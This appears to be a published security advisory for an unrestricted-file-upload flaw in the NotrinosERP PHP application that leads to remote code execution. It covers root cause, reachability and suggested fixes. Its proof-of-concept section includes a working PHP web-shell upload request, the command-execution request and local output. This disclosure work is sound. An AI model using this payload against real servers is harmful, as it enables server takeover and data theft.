PT-2026-61815 · Packagist · Notrinos/Notrinoserp
Published
2026-07-10
·
Updated
2026-07-10
CVSS v3.1
8.8
High
| Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
Summary
An authenticated user with the HR "Manage Employees" permission (
SA EMPLOYEE) can upload a file with an arbitrary extension through the employee Documents tab. The handler writes the raw client-supplied filename — extension intact — into a web served directory with no extension, MIME, or content validation, so a .php file is stored under the web root and executes as code, yielding remote code execution on the server.Details
The document-upload branch in
hrm/manage/employees.php (function tab documents()) moves the uploaded file using the client filename verbatim:php
// hrm/manage/employees.php -> tab documents() (HEAD lines 597-602; release 1.0.0 lines 568-573)
$upload dir = company path().'/documents/employees';
if (!file exists($upload dir))
mkdir($upload dir, 0777, true);
$file path = $upload dir.'/'.$employee id.' '.time().' '.$ FILES['doc file']['name'];
if (!move uploaded file($ FILES['doc file']['tmp name'], $file path)) { ... }There is no extension allow-list,
getimagesize(), MIME check, or content inspection on this path. Contrast this with the profile photo (pic) upload in the same file, which validates image type/extension/size, and with core includes/ui/attachment.inc, which deliberately generates a random extension-less name (uniqid()) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern.Reachability of the written file:
company path()resolves under the web root;config.default.phpsets$comp path = $path to root.'/company', so uploads land incompany/0/documents/employees/.- The only
.htaccessin the project is the repo-root one, which denies.inc/.po/.sh/.pem/.sql/.logonly — it does not block.phpand does not covercompany/. - The stored path is then echoed unescaped into a clickable "View" link
(
hrm/includes/ui/employee ui.inclines 153-154 —file pathconcatenated straight intohref), handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).
A crafted multipart
filename containing ../ additionally enables path traversal (CWE-22) on PHP builds that do not basename ['name'].Proof of Concept
The upload is gated by authentication and CSRF, but neither gates the file itself. Prerequisites: an authenticated session with
SA EMPLOYEE; an existing employee (employee no); a valid doc type id; and the session CSRF token. The CSRF field is token (validated bycheck csrf token() against $ SESSION['csrf token']), so first GET the Documents form to read the
hidden token, then submit. Against your own local instance:http
POST /hrm/manage/employees.php?employee no=1& tabs sel=tab documents HTTP/1.1
Host: <your-local-instance>
Cookie: <authenticated session>
Content-Type: multipart/form-data; boundary=b
--b
Content-Disposition: form-data; name=" token"
<value of the hidden token field from the GET response>
--b
Content-Disposition: form-data; name="doc type id"
<a valid document type id>
--b
Content-Disposition: form-data; name="doc name"
x
--b
Content-Disposition: form-data; name="doc file"; filename="shell.php"
Content-Type: application/x-php
<?php system($ GET['c']); ?>
--b
Content-Disposition: form-data; name="save document"
Save Document
--b--Then request the stored file (its exact path is shown in the Documents tab's "View" link):
http
GET /company/0/documents/employees/1 <unix ts> shell.php?c=id HTTP/1.1The command in
c executes on the server.Validation (performed locally, no network)
The code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's verbatim path/move logic wrote
company/0/documents/employees/1 <ts> shell.php (attacker-chosen .php extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload:$ curl '.../company/0/documents/employees/1 1783671979 shell.php?c=id'
uid=501(...) gid=20(staff) ...
$ curl '.../<same>.php?c=uname%20-sm;whoami'
Darwin arm64
<user>Caveats: (1) the harness used
copy() in place of move uploaded file() because a CLI process has no real multipart temp file — the client-filename handling and the absence of any validation are identical to production (poc/rce demo.php); (2) PHP's built-in server executes the file by path, and a standard Apache/mod php or Nginx+PHP-FPM deployment behaves the same, because the repo-root .htaccess does not block .php and does not cover company/. The full HTTP flow additionally requires the auth + token + doc type id prerequisites above, none of which inspect the file.Impact
Remote code execution on the hosting server by any authenticated operator holding the delegable
SA EMPLOYEE role (not necessarily an administrator). If a deployment grants SA EMPLOYEE only to administrators, treat privileges-required as High (CVSS ≈ 7.2).Suggested fix
- Never use the client filename on disk. Store with a server-generated name and no executable
extension (mirror
includes/ui/attachment.inc'suniqid()approach); keep the original name only as a DB label. - Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the
picbranch already does. - Store uploads outside the web root, or drop an
.htaccess/web.configincompany/*/documents/that disables script execution (php admin flag engine off,RemoveHandler .php,SetHandler none). htmlspecialchars()the stored path before emitting the "View" link (fixes the secondary XSS).
Resources / credit
- Affected code:
hrm/manage/employees.php,hrm/includes/db/employee document db.inc,hrm/includes/ui/employee ui.inc. - Reported by: <Kasper Hong / Kasper Builds>.
Fix
Unrestricted File Upload
Path traversal
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Notrinos/Notrinoserp